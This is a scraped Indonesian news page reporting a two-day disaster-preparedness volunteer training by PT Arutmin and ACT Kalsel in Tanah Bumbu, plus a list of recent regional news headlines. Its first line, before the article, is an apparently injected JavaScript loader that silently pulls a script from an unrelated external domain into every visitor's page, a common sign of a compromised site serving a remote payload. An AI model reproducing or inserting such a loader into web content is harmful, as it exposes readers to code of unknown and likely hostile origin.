(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Arutmin-ACT Kalsel Pelatihan Relawan Siaga Bencana Berbasis TDM


Potensi bencana alam di Indonesia yang cukup tinggi, termasuk di Kalimantan Selatan menjadi perhatian PT Arutmin Indonesia tambang Satui. Hal ini ditunjukkan dengan kolaborasi kemanusiaan bersama Aksi Cepat Tanggap (ACT) Kalsel melalui kegiatan pelatihan relawan siaga bencana. Kegiatan akan dilaksanakan pada Selasa (3/9) di desa Sungai Cuka, Kecamatan Satui, Kabupaten Tanah Bumbu, Kalsel.

Gusti Surya, CDEA Superintendent PT Arutmin Indonesia tambang Satui menyebutkan, latar belakang kegiatan tersebut tak lepas dari bencana banjir di Tanah Bumbu yang setiap tahun terjadi. “Bencana alam yang rutin ini harus kita perhatikan bersama-sama, minimal kewaspadaan dan bagaimana menangani bencana alam yang benar itu muncul di tengah masyarakat,” ucapnya.

Menjawab tantangan itu, PT Arutmin Indonesia tambang Satui bekerjasama dengan ACT Kalsel menggelar pelatihan relawan siaga bencana berbasis Total Disaster Management (TDM). “Pemahaman yang komprehensif terhadap bencana alam memang masih rendah di kalangan masyarakat awam, maka apa yang diinisiasi PT Arutmin ini patut diapresiasi dan harus didukung,” ucap Zainal Arifin, Kepala Cabang ACT Kalsel.

Tak tanggung-tanggung, pelatihan dikelola oleh lembaga profesional yang berkhidmat pada manajemen bencana tingkat nasional, yaitu Disaster Management Institute of Indonesia (DMII).

Ubaidillah dari tim DMII menjelaskan, pengembangan manajemen bencana yang dilakukan DMII berbasis Total Disaster Management (TDM). “DMII bekerja dengan konsentrasi pada tahap preventif, mitigasi dan kesiapsiagaan. Peserta nantinya tidak hanya dibekali kemampuan dasar bertahan hidup, tetap bagaimana menjadi penyelamat,” terang pria asal Jakarta itu.

Pelatihan berlangsung selama dua hari Selasa (3/8) dan Rabu (4/8).  Sebanyak 100 orang yang terdiri dari masyarakat di 16 desa dan komunitas direncanakan hadir sebagai peserta. “Kami berharap dari kegiatan ini muncul semangat kerelawanan dan pemahaman yang benar terhadap penanganan bencana alam,” imbuh Ubaidillah. (act kalsel)

 

Reporter : Actkalsel
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.